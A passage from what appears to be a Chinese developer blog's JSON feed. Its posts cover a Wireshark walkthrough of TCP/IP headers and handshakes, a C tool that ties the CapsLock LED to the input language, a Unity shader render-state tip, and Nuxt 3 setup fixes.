字节)\u003c/li\u003e\n\u003cli\u003e保留:\u003ccode\u003e0\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e标志:\u003ccode\u003e18\u003c/code\u003e(ACK 和 PSH)\u003c/li\u003e\n\u003cli\u003e窗口大小:\u003ccode\u003e02 03\u003c/code\u003e(515)\u003c/li\u003e\n\u003cli\u003e校验和:\u003ccode\u003e01 6d\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e紧急指针:\u003ccode\u003e00 00\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"网络层\"\u003e网络层\u003ca class=\"headerlink\" href=\"#网络层\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"网络层\" src=\"../../../obsidian-vault/attachments/wireshark-exp-ip-data.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e网络层使用 IP。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e版本:\u003ccode\u003e4\u003c/code\u003e(表示 IPv4)\u003c/li\u003e\n\u003cli\u003e头长:\u003ccode\u003e5\u003c/code\u003e(头部长度为 5*4=20 字节)\u003c/li\u003e\n\u003cli\u003e服务类型:\u003ccode\u003e00\u003c/code\u003e(默认)\u003c/li\u003e\n\u003cli\u003e包裹总长:\u003ccode\u003e0000\u003c/code\u003e(IP 数据包总长 0 字节,可能是 TSO 的原因)\u003c/li\u003e\n\u003cli\u003e重组标识:\u003ccode\u003ecacf\u003c/code\u003e(51919,发送主机赋予的标识,以便接收方进行分片重组)\u003c/li\u003e\n\u003cli\u003e标志(3 位)段偏移量(13 位):\u003ccode\u003e4000\u003c/code\u003e(标志:不分片,段偏移量:0)\u003c/li\u003e\n\u003cli\u003e生存时间:\u003ccode\u003e80\u003c/code\u003e(128,每经过一个路由器,该值就减一,到零丢弃)\u003c/li\u003e\n\u003cli\u003e协议代码:\u003ccode\u003e06\u003c/code\u003e(表示 TCP 协议)\u003c/li\u003e\n\u003cli\u003e头校验和:\u003ccode\u003e0000\u003c/code\u003e(没开启校验)\u003c/li\u003e\n\u003cli\u003e源始地址:\u003ccode\u003e0ac643ab\u003c/code\u003e(10.198.67.171)\u003c/li\u003e\n\u003cli\u003e目的地址:\u003ccode\u003e6ef24403\u003c/code\u003e(110.242.68.3)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"数据链路层\"\u003e数据链路层\u003ca class=\"headerlink\" href=\"#数据链路层\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"数据链路层\" src=\"../../../obsidian-vault/attachments/wireshark-exp-ethernet-data.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e数据链路层使用 Ethernet II。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e目的 MAC 地址:\u003ccode\u003eb0 76 1b 21 30 ab\u003c/code\u003e(b0:76:1b:21:30:ab)\u003c/li\u003e\n\u003cli\u003e源始 MAC 地址:\u003ccode\u003e54 6c eb b3 0b 05\u003c/code\u003e(54:6c:eb:b3:0b:05)\u003c/li\u003e\n\u003cli\u003e类型:\u003ccode\u003e08 00\u003c/code\u003e(表示 IPv4)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"TCP-连接建立\"\u003eTCP 连接建立\u003ca class=\"headerlink\" href=\"#TCP-连接建立\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e\u003cimg alt=\"TCP 连接建立\" src=\"../../../obsidian-vault/attachments/wireshark-exp-tcp-conn.png\" /\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e客户端(10.198.67.171)向百度(110.242.68.3)发送第一个段,SYN 被置位,序列号为 2242758111(相对值 0)。\u003c/li\u003e\n\u003cli\u003e百度(110.242.68.3)向客户端(10.198.67.171)发送第二个段,SYN 和 ACK 被置位,序列号为 3754722416(相对值 0),确认号为 2242758112(相对值 1)。\u003c/li\u003e\n\u003cli\u003e客户端(10.198.67.171)向百度(110.242.68.3)发送第三个段,ACK 被置位,序列号为 2242758112(相对值 1),确认号为 3754722417(相对值 1)。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e经过三次握手,TCP 连接建立。\u003c/p\u003e\n\u003ch2 id=\"TCP-连接终止\"\u003eTCP 连接终止\u003ca class=\"headerlink\" href=\"#TCP-连接终止\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e\u003cimg alt=\"TCP 连接终止\" src=\"../../../obsidian-vault/attachments/wireshark-exp-tcp-close.png\" /\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e客户端(10.198.67.171)向百度(110.242.68.3)发送第一个段,FIN 和 ACK 被置位,序列号为 2242765910(相对值 7799),确认号为 3754841098(相对值 118682)。\u003c/li\u003e\n\u003cli\u003e百度(110.242.68.3)向客户端(10.198.67.171)发送第二个段,ACK 被置位,序列号为 3754841098(相对值 118682),确认号为 2242765911(相对值 7800)。\u003c/li\u003e\n\u003cli\u003e百度(110.242.68.3)向客户端(10.198.67.171)发送剩余的数据,图中为 TLS 的关闭通知。\u003c/li\u003e\n\u003cli\u003e百度(110.242.68.3)向客户端(10.198.67.171)发送第三个段,FIN 和 ACK 被置位,序列号为 3754841129(相对值 118713),确认号为 2242765911(相对值 7800)。\u003c/li\u003e\n\u003cli\u003e客户端(10.198.67.171)向百度(110.242.68.3)发送第四个段,ACK 被置位,序列号为 2242765911(相对值 7800),确认号为 3754841130(相对值 118714)。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e经过四次握手,TCP 连接终止。\u003c/p\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/wireshark-capture-http-experiment/"},{"title":"Windows 上用 CapsLock 切换中英文","time":"2024-05-01T13:09:28Z","content":"\u003ch1 id=\"Windows-上用-CapsLock-切换中英文\"\u003eWindows 上用 CapsLock 切换中英文\u003ca class=\"headerlink\" href=\"#Windows-上用-CapsLock-切换中英文\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e微软输入法切换中英文的按键选择有 Ctrl、Shift、Ctrl+Space,但它们都是其他软件常用的修饰符/快捷键,肯定没法用。后来,我用一个纯英文键盘布局和一个纯中文键盘布局,靠 Win+Space 切换,但这个快捷键按着也挺麻烦。\u003c/p\u003e\n\u003cp\u003e受 MacOS 的启发,我决定改用 CapsLock 切换中英文。恰好,我平时切换大小写用的都是 Shift。CapsLock 放在那么好的位置却不用,很可惜。\u003c/p\u003e\n\u003ch2 id=\"按键映射\"\u003e按键映射\u003ca class=\"headerlink\" href=\"#按键映射\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e使用 PowerToys 的键盘管理器映射 CapsLock 到 Win+Space。\u003c/p\u003e\n\u003ch2 id=\"同步指示灯\"\u003e同步指示灯\u003ca class=\"headerlink\" href=\"#同步指示灯\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e按键都重映射了,指示灯放着不用也怪可惜的。我笔记本键盘上 CapsLock 指示灯就在这个按键右上角,改成中英文指示灯刚好。灯亮时就是中文模式,灯暗时就是英文模式。\u003c/p\u003e\n\u003cp\u003e代码开源在 GitHub 上:\u003ca href=\"https://github.com/stalomeow/CapsLockLed-IME\"\u003estalomeow/CapsLockLed-IME\u003c/a\u003e。特地用纯 C 写的,几乎没有什么开销。大体思路:依靠 \u003ca href=\"../../../eabe-abdh-cfad/\"\u003eWindows 全局钩子\u003c/a\u003e 监听键盘布局变化(\u003ccode\u003eHSHELL_LANGUAGE\u003c/code\u003e)事件,然后根据当前布局设置指示灯状态。\u003c/p\u003e\n\u003ch3 id=\"检查是否为中文键盘布局\"\u003e检查是否为中文键盘布局\u003ca class=\"headerlink\" href=\"#检查是否为中文键盘布局\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eBOOL\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eIsChineseKeyboardLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCHAR\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eKL_NAMELENGTH\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGetKeyboardLayoutNameA\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eLPSTR\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// https://learn.microsoft.com/en-us/globalization/keyboards/kbdus_2\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estrcmp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;00000804\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTRUE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eFALSE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eKeyboardLayoutName 就是 \u003ca href=\"https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/windows-language-pack-default-values?view=windows-11#keyboard-identifiers\"\u003eKeyboard identifier\u003c/a\u003e,简体中文对应的是 \u003ccode\u003e\"00000804\"\u003c/code\u003e。\u003c/p\u003e\n\u003ch3 id=\"设置指示灯\"\u003e设置指示灯\u003ca class=\"headerlink\" href=\"#设置指示灯\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e需要引入头文件 \u003ca href=\"https://learn.microsoft.com/en-us/windows/win32/api/ntddkbd/\"\u003entddkbd.h\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e具体的思路参考 \u003ca href=\"https://stackoverflow.com/questions/72679665/is-it-possible-to-control-capslock-light-without-actual-capslocking\"\u003ewindows - Is it possible to control capslock light without actual capslocking? - Stack Overflow\u003c/a\u003e。\u003c/p\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/windows-capslock-ime/"},{"title":"后处理 Shader 的 Render State 设置","time":"2024-04-27T14:42:36Z","content":"\u003ch1 id=\"后处理-Shader-的-Render-State-设置\"\u003e后处理 Shader 的 Render State 设置\u003ca class=\"headerlink\" href=\"#后处理-Shader-的-Render-State-设置\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e后处理 Shader 或者一些 Blit 用的 Shader,一定要记得加下面几行!\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003eCull Off\nZTest Always\nZWrite Off\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e不加的话在\u003cstrong\u003e某些平台\u003c/strong\u003e绘制不了,会被剔除!比如 MuMu 模拟器上,我就遇到过这个问题。\u003c/p\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/unity-postprocess-shader-render-state/"},{"title":"Nuxt 3 开发避坑","time":"2024-04-09T07:44:55Z","content":"\u003ch1 id=\"Nuxt-3-开发避坑\"\u003eNuxt 3 开发避坑\u003ca class=\"headerlink\" href=\"#Nuxt-3-开发避坑\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e开发个人主页时用了 Nuxt 3。虽然有些坑,但它还是很好用的。\u003c/p\u003e\n\u003cp\u003e文档:\u003ca href=\"https://nuxt.com/docs/getting-started/introduction\"\u003ehttps://nuxt.com/docs/getting-started/introduction\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"解决初始化报错\"\u003e解决初始化报错\u003ca class=\"headerlink\" href=\"#解决初始化报错\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e执行初始化命令后\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003enpx\u003cspan class=\"w\"\u003e \u003c/span\u003enuxi@latest\u003cspan class=\"w\"\u003e \u003c/span\u003einit\u003cspan class=\"w\"\u003e \u003c/span\u003e\u0026lt;project-name\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e显示下面的报错。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eError: Failed to download template from registry: Failed to download \u003ca href=\"https://raw.githubusercontent.com/nuxt/starter/templates/templates/v3.json\"\u003ehttps://raw.githubusercontent.com/nuxt/starter/templates/templates/v3.json\u003c/a\u003e: TypeError: fetch failed\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e在 GitHub 上找到了相关的 Issues:\u003ca href=\"https://github.com/nuxt/cli/issues/159\"\u003esupport http proxy when using \u003ccode\u003enuxi init\u003c/code\u003e with node \u0026gt;= 18\u003c/a\u003e。其中有人总结了原因:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThe main issue is native fetch API provided by newer Node.js versions (18+), does not support HTTP agents for proxy support.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e简单概括就是它不走代理。目前有 3 种解决方法:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e改 hosts 文件。这个我不喜欢,跳过。\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e换源。有人把相关的文件 clone 到了 gitee 上,设置环境变量\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"nb\"\u003eset\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nv\"\u003eNUXI_INIT_REGISTRY\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;https://gitee.com/hzgotb/nuxt-starter/raw/templates/templates\u0026quot;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e之后再初始化就可以了。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e官方目前提供了一个支持代理的版本,但是 nightly 版,还不是正式版。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003enpx\u003cspan class=\"w\"\u003e \u003c/span\u003enuxi-nightly@latest\u003cspan class=\"w\"\u003e \u003c/span\u003einit\u003cspan class=\"w\"\u003e \u003c/span\u003e\u0026lt;project-name\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用 \u003ca href=\"../../../eadf-afaa-cfcg/\"\u003eClash 的 TUN 模式\u003c/a\u003e,不用系统代理。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"Font-Awesome\"\u003eFont Awesome\u003ca class=\"headerlink\" href=\"#Font-Awesome\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003ch3 id=\"配置\"\u003e配置\u003ca class=\"headerlink\" href=\"#配置\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e按它的文档做就行:\u003ca href=\"https://docs.fontawesome.com/web/use-with/vue/use-with#nuxt\"\u003ehttps://docs.fontawesome.com/web/use-with/vue/use-with#nuxt\u003c/a\u003e。建议把 Integrations/Vue 里的文档全看一下。\u003c/p\u003e\n\u003cp\u003e需要先装两个核心的包。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003enpm\u003cspan class=\"w\"\u003e \u003c/span\u003ei\u003cspan class=\"w\"\u003e \u003c/span\u003e--save\u003cspan class=\"w\"\u003e \u003c/span\u003e@fortawesome/fontawesome-svg-core\nnpm\u003cspan class=\"w\"\u003e \u003c/span\u003ei\u003cspan class=\"w\"\u003e \u003c/span\u003e--save\u003cspan class=\"w\"\u003e \u003c/span\u003e@fortawesome/vue-fontawesome@latest-3\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e常用的免费 Icon Packages,可以全部安装。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003enpm\u003cspan class=\"w\"\u003e \u003c/span\u003ei\u003cspan class=\"w\"\u003e \u003c/span\u003e--save\u003cspan class=\"w\"\u003e \u003c/span\u003e@fortawesome/free-solid-svg-icons\nnpm\u003cspan class=\"w\"\u003e \u003c/span\u003ei\u003cspan class=\"w\"\u003e \u003c/span\u003e--save\u003cspan class=\"w\"\u003e \u003c/span\u003e@fortawesome/free-regular-svg-icons\nnpm\u003cspan class=\"w\"\u003e \u003c/span\u003ei\u003cspan class=\"w\"\u003e \u003c/span\u003e--save\u003cspan class=\"w\"\u003e \u003c/span\u003e@fortawesome/free-brands-svg-icons\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e在写它的 plugin 文件时要注意\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"c1\"\u003e// For Nuxt 3\u003c/span\u003e\n\u003cspan class=\"k\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003elibrary\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003econfig\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kr\"\u003efrom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/fontawesome-svg-core\u0026#39;\u003c/span\u003e\n\u003cspan class=\"k\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eFontAwesomeIcon\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kr\"\u003efrom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/vue-fontawesome\u0026#39;\u003c/span\u003e\n\u003cspan class=\"k\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003efas\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kr\"\u003efrom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/free-solid-svg-icons\u0026#39;\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// This is important, we are going to let Nuxt worry about the CSS\u003c/span\u003e\n\u003cspan class=\"nx\"\u003econfig\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eautoAddCss\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// You can add your icons directly in this plugin. See other examples for how you\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// can add other styles or just individual icons.\u003c/span\u003e\n\u003cspan class=\"nx\"\u003elibrary\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003efas\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\n\u003cspan class=\"k\"\u003eexport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003edefineNuxtPlugin\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"nx\"\u003enuxtApp\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003enuxtApp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003evueApp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecomponent\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;font-awesome-icon\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eFontAwesomeIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{})\u003c/span\u003e\n\u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// Modify the `nuxt.config.ts` file by adding to the `export default defineNuxtConfig()`\u003c/span\u003e\n\u003cspan class=\"k\"\u003eexport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003edefineNuxtConfig\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecss\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/fontawesome-svg-core/styles.css\u0026#39;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e上面一半代码是写在 \u003ccode\u003eplugins/fontawesome.js\u003c/code\u003e 里的。下面 \u003ccode\u003eexport default defineNuxtConfig({...})\u003c/code\u003e 里的代码是加在 \u003ccode\u003enuxt.config.ts\u003c/code\u003e 里的。\u003c/p\u003e\n\u003cp\u003e另外不建议像上面一样,直接把一个 \u003ccode\u003eIconPack\u003c/code\u003e 加进 \u003ccode\u003elibrary\u003c/code\u003e 里。最好是只加需要用到的 \u003ccode\u003eIconDefinition\u003c/code\u003e,这样能显著减小 build 以后的 js 文件大小。\u003c/p\u003e\n\u003ch3 id=\"Hydration-Mismatch\"\u003eHydration Mismatch\u003ca class=\"headerlink\" href=\"#Hydration-Mismatch\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e相关的 Issues:\u003ca href=\"https://github.com/FortAwesome/vue-fontawesome/issues/394\"\u003eNuxt 3: Hydration mismatch when using SSR\u003c/a\u003e。开 SSR 时,浏览器控制台会警告 Hydration Mismatch,命令行会提示 \u003ccode\u003eCould not find one or more icon(s)\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003eSSR 还是建议开的,参考:\u003ca href=\"https://nuxt.com/docs/getting-started/deployment#static-hosting\"\u003ehttps://nuxt.com/docs/getting-started/deployment#static-hosting\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e最简单粗暴的解决方式是用 \u003ccode\u003e\u0026lt;ClientOnly\u0026gt;\u003c/code\u003e 标签把 \u003ccode\u003e\u0026lt;font-awesome-icon\u0026gt;\u003c/code\u003e 包起来,这样服务端就不渲染了,自然就没有 Mismatch 了。(\u003c/p\u003e\n\u003cp\u003e另一种更好的解决方法来自 Discussions:\u003ca href=\"https://github.com/nuxt/nuxt/discussions/16014\"\u003eUsing FontAwesome in Nuxt 3\u003c/a\u003e。虽然他们讨论的是另一个问题,但也能解决我这里的问题。根据 Answer 里的第一条回复,把引入的所有 Font Awesome 包都写进 \u003ccode\u003enuxt.config.ts\u003c/code\u003e 的 \u003ccode\u003ebuild.transpile\u003c/code\u003e 中。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eexport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003edefineNuxtConfig\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ebuild\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003etranspile\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan 